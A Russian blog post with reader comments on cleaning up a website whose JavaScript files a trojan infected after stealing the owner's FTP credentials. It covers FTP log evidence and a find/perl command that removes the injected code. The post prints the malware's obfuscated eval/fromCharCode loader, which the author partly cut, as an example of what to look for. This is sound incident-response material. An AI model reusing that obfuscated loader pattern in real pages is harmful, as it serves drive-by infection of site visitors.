Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить “Часть 1”, но потом решил сделать в виде бесконечной истории =)
Как уже все должно быть известно, нередко (я бы даже сказал, в большинстве случаев) пользователи сами становятся носителями инфекции (в ботнет-среде таких называют “зомби”). И внедрение кода может происходить следующим способом.
- Имеем владельца сайта и по совместительству пользователя какой-либо социальной сети
- Пользователь проходит по ссылочке в стиле “Смотри, какие у меня сиськи “, которая приходит ему в личку от одноклассницы, в которую он влюблен с восьмого класса и френдит в социальных сетях. Естественно, длинная ссылка сокращается и он видит только начало “http://vkon….siski.gif” и тыкает нераздумывая (еще бы!)
- В лучшем случае он видит что-нибудь типа “файл не найден”, плюет и закрывает вкладку браузера.
- Начинается самое интересное. (Не забываем, что у пользователя есть сайт, куда он ходит по ftp, внося изменения или заливая новые файлики.)
- Ни с того, ни с сего пользователю начинают жаловаться посетитель сайта, что при входе на его сайт их антивирусы ругаются непотребными словами, упоминая наличие вредоносного кода. Либо поисковые системы блокируют переходы на сайт с соответствующей надписью.
Как оказывается, используя готовые пути (ftp, авторизацию в соц.сети) троян начинает свою вредоносную деятельность. Рассылает в личку похожие приглашения и оставляет ссылки. Внедряет похожее в .php, .js файлы для того, чтобы посетители при входе на сайт получали порцию заразы.
Бывают, конечно, и уязвимости в коде скриптов, но вышеописанное все таки более часто =)
Приведу пример, с которым мне посчастливилось
Thu Apr 05 04:57:50 2012 0 <IP> 1120 /home/USER/data/www/SITE.ru/.../users-common.js a _ o r USER ftp 0 * c Thu Apr 05 04:57:51 2012 0 <IP> 13183 /home/USER/data/www/SITE.ru/.../users-common.js a _ i r USER ftp 0 * c
Посмотрите на эту замечательную гадость радость ситуацию.
Скачался файлик с размером 1Кб, и через секунду загрузился обратно с размером 13 (!!!) Кб. Все это было произведено с одного IP-адреса и под одним и тем же FTP-пользователем.
Внутри (последней строкой) находилось изумительно-обфусцированное тельце вредителя:
c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['0i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i78i57i74i-8i77i74i68i-8i21i- <членики почиканы> 31i-31i-31i64i61i57i60i6i57i72i72i61i70i60i27i64i65i68i60i0i75i59i74i65i72i76i1i19i-27i-30i-31i-31i85i-27i-30i-31i85i19i-27i-30i85i1i0i1i19'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;693!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);
Который занимался генерацией ссылок на js-скрипты, располагающиеся на различных dyndns-домены. К тому времени, как я добрался до этого сайта, ни одна из ссылок не открывалась
Подобные вещи можно найти, изучая логи ftp-сервера (к примеру, /var/log/xferlog), причем не только текущие, но и те, что уже поротейтились, либо тыкаясь по сайту чем-нибудь типа firebug для Firefox.
И так, проблема найдена и ее следует устранить.
- Проверяем все компьютеры пользователей, имеющие доступ к ftp.
- Ограничиваем круг имеющих доступ.
- Отучаемся хранить логин и пароль от ftp в ftp-клиенте и вообще вместе.
- Делаем резервные копии
Если резервной копии с незараженными файлами нет, то можно прибегнуть к ручному вмешательству в файлы, предварительно сделав резервную копию.
Я воспользовался командой find для поиска нужных файлов и perl для выкусывания части строки из файлов.
find <путь поиска> -type f -name “*.js” -exec perl -pi -e ‘s/<начало паттерна>.*<конец паттерна>//g”’ ‘{}’ \;
где,
- <путь поиска> – указывается месторасположение откуда начинать искать. Можно указать как полный путь до директории /home/USER/data/www/SITE/, так и относительный (к примеру, находясь в корне директории сайта можно использовать “./“)
- <начало паттерна> – несколько первых символов кода, начиная с которых требуется удалить
- <конец паттерна> – несколько последних символов кода, заканчивая которыми требуется удалить
Не забываем экранировать различные скобки и знаки препинания.
В конкретном случае я воспользовался строкой
find ./ -type f -name "*.js" -exec perl -pi -e 's/c=3-1.*e\(z\)\;//g''' '{}' \;
Если у вас возникнут какие-то трудности – я всегда открыт для диалога $-)
UPDATE: Не совсем уверен, но, кажется, с недавнего времени онлайновый сканер DrWeb стал распознавать эту заразу
http://<>//js/jquery.js infected with JS.IFrame.233
Привет! Хотелось бы поподробнее узнать насчет лечения заразы. У меня два сайта полегли, а в серваках я не очень хорошо понимаю. Как и где лечить вирус в js файлах?
der-mirage@yandex.ru
Хапнул точно такой же троян. Поселился в .js проверял д.вебом, удалил строки в тех .js которые он указывал, проверил еще раз – пишет все чисто, а касперский ругается, начал проверять те ссылки которые он блокирует,действительно в этих файлах осталась зараза. начинаю чистить руками. Не подскажите как оптимизировать поиск. Куда вышеуказанный скрип вставить чтобы найти вредоносный код? Спасибо
все что я пишу, по умолчанию относится к системам семейства unix и консоли, если я не пишу заранее об условиях.
Оптимизируется поиск с помощью различных комбинаций простых утилит.
блин спасибо прям спас! правда пришлось SSH освоить но реально круть!
что то через ssh не удалось исполнить чистку, поиск работает, а чистка не запускается.
Не забываем экранировать различные скобки и знаки препинания. – вот этого я и забыл))
все получилось.
Рад, что всё получилось. Но я рекомендую использовать скрипт ai-bolit, который умеет не только детектировать вредоносы, но и известные уязвимости в скриптах, и, кажется, даже выкусывать код вредоноса..